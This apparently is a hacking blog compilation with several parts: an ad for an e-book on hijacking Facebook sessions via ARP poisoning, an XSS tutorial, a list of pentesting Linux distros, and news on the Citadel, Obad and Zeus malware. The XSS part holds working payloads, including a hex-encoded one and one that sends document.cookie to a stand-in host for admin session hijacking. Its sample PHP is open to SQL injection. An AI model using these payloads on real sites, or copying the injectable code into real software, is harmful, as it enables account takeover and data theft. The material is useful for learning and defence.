Learn How to Hack Facebook Accounts via ARP Poisoning

Compromising Facebook Account Via ARP Poisoning is e-Book written By Deep, this book will explain “ARP Poisoning Attack” or “Man in the Middle Attack”… In this book we use a packet sniffer called “Wireshark” to capture the packets ie coockie. Here we will see how Wireshark sniffs the packets and finally captured facebook’s authentication coockie and replaced the victims authentication coockie with our own authentication coockie allow us to compromise a facebook account easily. In this book/white paper we will see how we can hack a facebook account over a LAN with ARP Poisoning or MitMA -

DOWNLOAD: http://adf.ly/QjB5e

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BackTrack/Kali Wallpapers

CLICK ON PICTURE FOR FULL SIZE

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XSS Attack Examples

In this article we will see a different kind of attack called XXS attacks.

XSS stands for Cross Site Scripting.

XSS is very similar to SQL-Injection. In SQL-Injection we exploited the vulnerability by injecting SQL Queries as user inputs. In XSS, we inject code (basically client side scripting) to the remote server.

Types of Cross Site Scripting

XSS attacks are broadly classified into 2 types:

1. Non-Persistent
2. Persistent

1. Non-Persistent XSS Attack

In case of Non-Persistent attack, it requires a user to visit the specially crafted link by the attacker. When the user visit the link, the crafted code will get executed by the user’s browser. Let us understand this attack better with an example.

Example for Non-Persistent XSS

index.php:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";
?>

Example 1:

Now the attacker will craft an URL as follows and send it to the victim:

index.php?name=guest<script>alert('attacked')</script>

When the victim load the above URL into the browser, he will see an alert box which says ‘attacked’. Even though this example doesn’t do any damage, other than the annoying ‘attacked’ pop-up, you can see how an attacker can use this method to do several damaging things.

Example 2:

For example, the attacker can now try to change the “Target URL” of the link “Click to Download”. Instead of the link going to “xssattackexamples.com” website, he can redirect it to go “not-real-xssattackexamples.com” by crafting the URL as shown below:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

In the above, we called the function to execute on “window.onload”. Because the website (i.e index.php) first echos the given name and then only it draws the <a> tag. So if we write directly like the one shown below, it will not work, because those statements will get executed before the <a> tag is echoed

index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script>

Normally an attacker tends not to craft the URL which a human can directly read. So he will encode the ASCII characters to hex as follows.

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

which is same as:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

Now the victim may not know what it is, because directly he cannot understand that the URL is crafted and their is a more chance that he can visit the URL.

2. Persistent XSS Attack

In case of persistent attack, the code injected by the attacker will be stored in a secondary storage device (mostly on a database). The damage caused by Persistent attack is more than the non-persistent attack. Here we will see how to hijack other user’s session by performing XSS.

Session

HTTP protocol is a stateless protocol, which means, it won’t maintain any state with regard to the request and response. All request and response are independent of each other. But most of the web application don’t need this. Once the user has authenticated himself, the web server should not ask the username/password for the next request from the user. To do this, they need to maintain some kind of states between the web-browser and web-server which is done through the “Sessions”.

When the user login for the first time, a session ID will be created by the web server and it will be sent to the web-browser as “cookie”. All the sub-sequent request to the web server, will be based on the “session id” in the cookie.

Examples for Persistent XSS Attack

This sample web application we’ve given below that demonstrates the persistent XSS attack does the following:

• There are two types of users: “Admin” and “Normal” user.
• When “Admin” log-in, he can see the list of usernames. When “Normal” users log-in, they can only update their display name.

login.php:

<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';

$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Error checking the connection string */
if (!$Connect) {
 echo "Database Connection Failure";
 exit;
}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";

$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);

$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0) {
 echo "Login failed";
}
else {
 # Start the session
 session_start();
 $_SESSION['USER_NAME'] = $user_name;
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>

home.php:

<?php
session_start();
if(!$_SESSION['USER_NAME']) {
 echo "Need to login";
}
else {
 $Host= '192.168.1.8';
 $Dbname= 'app';
 $User= 'yyy';
 $Password= 'xxx';
 $Schema = 'test';
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
 if($_SERVER['REQUEST_METHOD'] == "POST") {
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  pg_query($Connect,$query);
  echo "Update Success";
 }
 else {
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
   echo "Welcome admin<br><hr>";
   echo "List of user's are<br>";
   $query = "select display_name from $Schema.members where user_name!='admin'";
   $res = pg_query($Connect,$query);
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
    echo "$row[display_name]<br>";
   }
 }
 else {
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  echo "<input type=\"submit\" value=\"Update\">";
 }
}
}
?>

Now the attacker log-in as a normal user, and he will enter the following in the textbox as his display name:

<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>

The above information entered by the attacker will be stored in the database (persistent).

Now, when the admin log-in to the system, he will see a link named “My Name” along with other usernames. When admin clicks the link, it will send the cookie which has the session ID, to the attacker’s site. Now the attacker can post a request by using that session ID to the web server, and he can act like “Admin” until the session is expired. The cookie information will be something like the following:

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

Once the hacker knows the PHPSESSID, he can use this session to get the admin privilege until PHPSESSID expires.

To understand this more, we can use a firefox addon called “Tamper Data”, which can be used to add a new HTTP header called “Cookies” and set the value to “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3″.

We’ll cover how to use “Tamper Data” in future article of this series.

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Top 12 Penetration Testing Linux Distributions

OK, none of the following Pentesting distributions were in the top 100 list over at Distro Watch but we don’t care – we are talking about penetration testing tools – or specifically the creation of distro’s that have all the necessary  open source tools that help ethical hackers and penetration testers do their job. Like everything else when it comes to choices, every pentesting distro has its own pros, cons and specialty. Some distro for example are better at web application vulnerability discovery, forensics, WiFi cracking, reverse engineering, malware analysis, social engineering etc.

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1. BackTrack 5r3

The mamma or best known of Linux pentesting distros. BackTrack has a very cool strapline: “The quieter you become, the more you are able to hear.” That just sounds cool….

BackTrack is based on the ever-popular Ubuntu. The pentesting distro used to be only available within a KDE environment but Gnome become was added as an option with the release of BackTrack v5. For those working in Information Security or intrusion detection, BackTrack is one of the most popular pentesting distros that can run on a live CD or flash drive. The distribution is ideal for wireless cracking, exploiting, web application assessment, learning, or social-engineering a client.

Here is a list of some of the awesome tools available in BackTrack 5r3 (the latest release).

To identify Live Hosts:
dnmap – Distributed NMap
address6 – (which acts as a IPV6 address conversion)

Information Gathering Analysis (Social Engineering)
Jigsaw – Grabs information about company employees
Uberharvest – Email harvester
sslcaudit – SSL Cert audit
VoIP honey – VoIP Honeypot
urlcrazy – Detects URL typos used in typo squatting, url hijacking, phishing

Web Crawlers
Apache_users – Apache username enumerator
Deblaze – Performs enumeration and interrogation against Flash remote end points

Database Analysis
Tnscmd10g – Allows you to inject commands into Oracle
BBQSQL – Blind SQL injection toolkit
* If you are interested in Database Security see our Hacker Halted summary here.

Bluetooth Analysis
Blueranger – Uses link quality to locate Bluetooth devices

Vulnerability Assessment
Lynis – Scans systems & software for security issues
DotDotPwn – Directory Traversal fuzzer

Exploitation Tools
Netgear-telnetable – Enables Telnet console on Netgear devices
Terminator – Smart Meter tester
Htexploit – Tool to bypass standard directory protection
Jboss-Autopwn – Deploys JSP shell on target JBoss servers
Websploit – Scans & analyses remote systems for vulnerabilities

Wireless Exploitation Tools
Bluepot – Bluetooth honeypot
Spooftooph – Spoofs or clones Bluetooth devices
Smartphone-Pentest-Framework
Fern-Wifi-cracker – Gui for testing Wireless encryption strength
Wi-fihoney – Creates fake APs using all encryption and monitors with Airodump
Wifite – Automated wireless auditor

Password Tools
Creddump
Johnny
Manglefizz
Ophcrack
Phrasendresher
Rainbowcrack
Acccheck
smbexec

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2. NodeZero.
Like BackTrack, NodeZero is an Ubuntu based distro used for penetration testing using repositories so every time Ubuntu releases a patch for its bugs, you also are notified for system updates or upgrades. Node Zero used to be famous for its inclusion of THC IPV6 Attack Toolkit which includes tools like alive6, detect-new-ip6, dnsdict6, etc, but I think that these days BackTrack 5r3 also includes these tools.

Whereas BackTrack is touted as being a “run-everywhere” distro, i.e. running it live, NodeZero Linux (which can also be run live) state that the distros real strength comes from a hard install. NodeZero, in their own words, believe that a penetration tester “requires a strong and efficient system [achieved by using] a distribution that is a permanent installation, that benefits from a strong selection of tools, integrated with a stable Linux environment. Sounds cool. Ever tried it? Let us know in the comments below.

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3. BackBox Linux
BackBox is getting more popular by the day. Like BackTrack and NodeZero, BackBox Linux is an Ubuntu-based distribution developed to perform penetration tests and security assessments. The developers state that the intention with BackBox is to create a pentesting distro that is fast and easy to use. BackBox does have a pretty concise looking desktop environment and seems to work very well. Like the other distros BackBox is always updated to the latest stable versions of the most often used and best-known ethical hacking tools through repositories.

BackBox has all the usual suspect for Forensic Analysis, Documentation & Reporting and Reverse Engineering with tools like ettercap, john, metasploit, nmap, Social Engineering Toolkit, sleuthkit, w3af, wireshark, etc.

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4. Blackbuntu.
Yes, as the name clearly suggests, this is yet another distro that is based on Ubuntu. Here is a list of Security and Penetration Testing tools – or rather categories available within the Blackbuntu package, (each category has many sub categories) but this gives you a general idea of what comes with this pentesting distro: Information Gathering, Network Mapping, Vulnerability Identification, Penetration, Privilege Escalation, Maintaining Access, Radio Network Analysis, VoIP Analysis, Digital Forensic, Reverse Engineering and a Miscellaneous section. This list is hardly revolutionary but the tools contained within might be different to the other distros.

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5. Samurai Web Testing Framework.
This is a live Linux distro that has been pre-configured with some of the best of open source and free tools that focus on testing and attacking websites. (The difference with Samurai Web Testing Framework is that it focuses on attacking (and therefore being able to defend) websites. The developers outline four steps of a web pen-test. These steps are incorporated within the distro and contain the necessary tools to complete the task.
Step 1: Reconnaissance – Tools include Fierce domain scanner and Maltego.
Step 2: Mapping – Tools include WebScarab and ratproxy.
Step 3: Discovery – Tools include w3af and burp.
Step 4: Exploitation – Tools include BeEF, AJAXShell and much more.

Of interest as well, the Live CD also includes a pre-configured wiki, set up to be a central information store during your pen-test.

The Samurai Web Testing Framework is a live Linux distro that focuses on web application vulnerability research and web pentesting within a “safe environment” – i.e. so you can ethical hack without violating any laws. This is a pentesting distro recommended for penetration testers who wants to combine network and web app techniques.

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6. Knoppix STD.
This distro is based on Debian and originated in Germany. The architecture is i486 and runs from the following desktops: GNOME, KDE, LXDE and also Openbox. Knoppix has been around for a long time now – in fact I think it was one of the original live distros.

Knoppix is primarily designed to be used as a Live CD, it can also be installed on a hard disk. The STD in the Knoppix name stands for Security Tools Distribution. The Cryptography section is particularly well-known in Knoppix.

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7. Pentoo.
Pentoo is a security-focused live CD based on Gentoo. In their own words “Pentoo is Gentoo with the pentoo overlay.” So, if you are into Pentoo then this is the distro for you. Their homepage lists some of their customized tools and kernel, including: a Hardened Kernel with aufs patches, Backported Wifi stack from latest stable kernel release, Module loading support ala slax, XFCE4 wm and Cuda/OPENCL cracking support with development tools.

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8. WEAKERTH4N.
This penetration distribution is built from Debian Squeeze and uses Fluxbox for its’ desktop environment. This pentesting distro is particularly well adjusted for WiFi hacking since it contains many Wireless tools. Here is a quick summary of WEAKERTH4N’s tool categories: Wifi attacks, SQL Hacking, Cisco Exploitation, Password Cracking, Web Hacking, Bluetooth, VoIP Hacking, Social Engineering, Information Gathering, Fuzzing, Android Hacking, Networking and Shells.

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9. Matriux Krypton.
This linux distro is, I believe, is the first security distribution based directly on Debian, (after WEAKERTH4N?) if I am wrong please comment below! There are 300 security tools to work, called “arsenals”. The arsenals allow for penetration testing, ethical hacking, system and network administration, security testing, vulnerability analysis, cyber forensics investigations,  exploiting, cracking and data recovery. The last category, data recovery, doesn’t seem to be prevalent in the other distros.

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10. DEFT.
The latest version is DEFT 7 which is based on the new Linux Kernel 3 and the DART (Digital Advanced Response Toolkit). This distro is more orientated towards Computer Forensics and uses LXDE as desktop environment and WINE for executing Windows tools under Linux. The developers, (based in Italy) hope that their distro will be used by the Military, Police, Investigators, IT Auditors and professional penetration testers. DEFT is an abbreviation for “Digital Evidence & Forensic Toolkit”

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11. CAINE
A reader to our blog suggested to add CAINE which we duly have. CAINE Stands for Computer Aided Investigative Environment, and like many information security products and tools – it is Italian GNU/Linux live distribution. CAINE offers a comprehensive forensic environment that is organized to integrate existing software tools that are composed as software modules, all displayed within a friendly graphical interface. CAINE states to have three objectives. These are, to ensure that the distro works in an interoperable environment that supports the digital investigator during the four phases of the digital investigation. Secondly that the distro has a user friendly graphical interface and finally that it provides a semi-automated compilation of the final forensic report. As you would likely expect, CAINE is fully open-source.

If anyone has used this please let us know.

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12. Bugtraq

Bugtraq is another reader submitted pentesting distro. Based on the 26.6.38 kernel, this distro offers a really wide range of penetration and forensic tools. Like most of the others in this list, Bugtraq can hard-install of obviously run as a Live DVD or from a USB drive. Bugtraq claims to have recently configured and updated the kernel for better performance but also importantly so that it can recognize more hardware, including wireless injection patches pentesting. The team at Bugtraq seem solid because they are clearly making an effort to get the kernel to work with more hardware – something which the other distributions don’t always place enough importance.

Some of the special features included with Bugtraq include (as stated) an expanded range of recognition for injection wireless drivers, (i.e. not just the usual Alfa rtl8187), a patched 2.6.38 kernel and solid installation of the usual suspects: Nessus, OpenVAS, Greenbone, Nod32, Hashcat, Avira etc.

Unique to Bugtraq (as claimed on their site) is the ability to, or better said, ease, of deleting tracks and backdoors. Just by having read about Bugtraq I’m really glad that I can add this to the list because it just sounds like a job well done. If you are interested in any of the following pentesting and forensic categories, then do go and check out Buqtraq: Malware, Penetration Shield, Web audit, Brute force attack, Communication and Forensics Analytics, Sniffers, Virtualizations, Anonymity and Tracking, Mapping and Vulnerability detection.

Quick Summary: You can’t go wrong with any Ubuntu based distro. BackTrack does the job well but I guess, of course, it’s all personal – i.e. does the distro do the job for you? Every penetration tester needs a lean towards a particular tool or tool-set. Frankly they are all good, and it would be prudent to use several of these pentesting distros as live versions. For WiFi hacking then WEAKERTH4N is likely your better friend, whilst to stay within the law, use Samurai.

Bugtraq looks really good – the team behind it seems to have taken considerable time to tick all the boxes. Once we test it I’ll update the post.

Here is a list of other distros (which we think are still alive and kicking – please correct us if we are wrong).

Other Distro’s
Damn Vulnerable Linux (reader comment: more of an operating system for attacking purposes)
Hakin9 (an educational and training distro that you can use to play-along with when subscribing to the Hacking Magazine Hak9)
Helix
nUbuntu
Network Security Toolkit (NST)
OWASP Labrat
Frenzy
grml
Ophcrack
FCCU
OSWA Assistant
Russix
Chaox-NG
GnackTrack
Katana
Securix-NSM
Auditor

And here is a list of distros that, regrettably, have passed on to Linux Heaven.
KCPentrix
Protech
FIRE
Arudius
INSERT
Local Area Security (LAS)
NavynOS
Operator
PHLAK
PLAC
SENTINIX
Talos
ThePacketMaster
Trinux
WarLinux
Whoppix
WHAX
HeX
Stagos FSE
SNARL

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MICROSOFT AND FBI TACKLE CITADEL BANKING TROJAN

 Microsoft is better known as a software provider than as an international crimefighter, but its recent operations against Russian cybercriminals may change some minds.

In a joint operation with the FBI, Microsoft yesterday (June 5) took down more than 1,000 botnets controlled by the Citadel banking Trojan.

Citadel is a particularly nasty banking Trojan that has targeted customers of major financial institutions, including Citigroup, JPMorgan Chase and Bank of America, among others.

Over the last year and a half, Citadel has cost the banks, which must reimburse losses from consumer accounts, more than $500 million, according to Reuters. (Commercial bank accounts are not always reimbursed, and many small businesses have lost millions.)

Banking Trojans operate by infecting Web browsers, often via a "drive-by download" from a corrupted website, although Microsoft said pirated copies of Windows were also used in this case.

A banking Trojan will lie dormant until the infected browser accesses an online bank account, at which point the Trojan captures the login information and passes it to a human controller, typically in Eastern Europe.

After being infected by Citadel malware, computers also often get drafted into a botnet.

Botnets allow criminals to leverage remote computers for spam attacks and malware distribution; they also provide criminals with the means to steal financial information and fill their own coffers.

To spearhead its counterattack, Microsoft filed a civil lawsuit in North Carolina yesterday against an online criminal known only as "Aquabox," as well as 81 other unnamed conspirators.

The lawsuit, in all likelihood, will not accomplish much, since Aquabox is unlikely to show up in his own defense.

Furthermore, Aquabox is probably located in Russia or Ukraine. To this end, Microsoft filed the suit in both English and Russian.

A bank hacker could operate from anywhere in the world, but Citadel's targets are telling. The malware has stolen from companies all across North America, Europe, Asia and Australia, but has bypassed Russian and Ukranian institutions. It's assumed by Western experts that Russian police will mostly ignore domestic cybercriminals who attack only foreign targets.

Microsoft and the FBI collaborated in a venture called "Operation b54," which successfully took down 1,000 of Citadel's 1,400 botnets by seizing command-and-control servers worldwide,

About 455 of the seized servers were in the U.S. Russian cybercriminals often use assumed names to rent server space from American hosting companies.

While the Citadel operation will recover, Richard Boscovich of the Microsoft Digital Crimes Unit points out that Operation b54 has bought infected users time to repair their systems.

"Citadel blocked victims' access to many legitimate anti-virus/anti-malware sites, making it so people may not have been able to easily remove this threat from their computer," Boscovich wrote in an official Microsoft blog posting.

Now that users can remove the harmful software from their machines, Citadel's convalescence may prove slow and anemic.

Since cybercrime happens across international borders, Boscovich also hopes that Operation b54 will set the tenor for future counterattacks.

"Operation b54 serves as a real world example of how public-private cooperation can work effectively within the judicial system, and how 20th century legal precedent and common law principles dating back hundreds of years can be effectively applied toward 21st century cybersecurity issues," Boscovich wrote.

This is not the first time Microsoft has tackled cybercriminal botnets.

In March 2012, Microsoft brought down 800 botnets created by the Zeus banking Trojan but under the control of different criminal groups.

Whereas Zeus is used by many different criminal groups, Citadel is used by only one. Because of that, Microsoft and the FBI may be able to figure out Aquabox's identity and put a stop to Citadel once and for all.

Cybercrime is generally profitable because it's easy to do and hard to get caught, but if Operation b54 is any indication, that could change soon.

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MOST SOPHISTICATED ANDROID MALWARE EVER DETECTED

A new piece of Android malware has been discovered by security researchers at Kaspersky Labs. That by itself wouldn't be big news, but this Trojan does things no other malicious app has done. It exploits multiple vulnerabilities, blocks uninstall attempts, attempts to gain root access, and can execute a host of remote commands. Backdoor.AndroidOS.Obad.a, as it has been dubbed, is the most sophisticated piece of Android malware ever seen.

There are two previously unknown Android vulnerabilities exploited by Obad. The malware installer contains a modified AndroidManifest.xml file, which is a part of every Android apps. The first big vulnerability is in the processing of this file by the system – it shouldn't be processed at all, but the app installs just fine. Once Obad is on a device it uses a second Android exploit to gain extended Administrator access. The Android Administrator feature allows apps to read notifications and perform other advanced operations (a lot of security apps use it). When this command is executed, Obad can not be unsinstalled and it doesn't even show up in the list of Administrator-approved apps.

When it is in place, Obad starts probing the system and checking for internet and root access. It slurps up data and reaches out to its command and control servers. Here is the full list of command functions described by Kaspersky:
Send text message. Parameters contain number and text. Replies are deleted.
PING.
Receive account balance via USSD.
Act as proxy (send specified data to specified address, and communicate the response).
Connect to specified address (clicker).
Download a file from the server and install it.
Send a list of applications installed on the smartphone to the server.
Send information about an installed application specified by the C&C server.
Send the user’s contact data to the server.
Remote Shell. Executes commands in the console, as specified by the cybercriminal.
Send a file to all detected Bluetooth devices.

When it arrives on a device most of the package is encrypted, and some of the most important components are not decrypted until it gains internet access. This makes analysis and detection much more difficult. The Trojan doesn't even have an interface – it works entirely in background mode. The level of sophistication and new exploits in this one piece of malware looks more like a Windows virus than other Android Trojans. Backdoor.AndroidOS.Obad.a is still very limited in scope, but it is floating around alternative app stores and fishy websites.

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Warning ! Facebook virus Zeus targets bank accounts

A six-year-old virus that drains bank accounts is thriving on Facebook, reports Nicole Perlroth of The New York Times.

The virus is spread through phishing messages.

When someone has been phished, their account will automatically send messages or links to a large number of their friends.

These messages or links are usually ads telling friends to check out videos or products. Don't click them.

Facebook is aware of the problem but it isn't taking the matter nearly as seriously as it should be, says Eric Feinberg, founder of the advocacy group Fans Against Kounterfeit Enterprise (FAKE).

Feinberg told The NYTimes, “[Facebook isn't] listening ... we need oversight on this.”

The virus is called Zeus. It's a special type of Trojan horse that has already infected millions of computers. Zeus works by remaining dormant on your computer until you log into your bank account. Once you're in it steals your password and drains your account.

Zeus targets Windows machines. It does not work on Mac OS X or Linux. The only real way to protect yourself from it is to make sure you only click links that come from trusted sources.

The virus is sophisticated too. Sometimes it can even replace your bank's website with its own page in order to get even more information like your social security number so that it can be sold on the black market.

Zeus has been around since 2007 and evidence shows that it is only getting more active. The virus is being hosted from computers controlled by a Russian criminal gang that has been linked to online crimes ranging from malware and identity theft all the way to child pornography.

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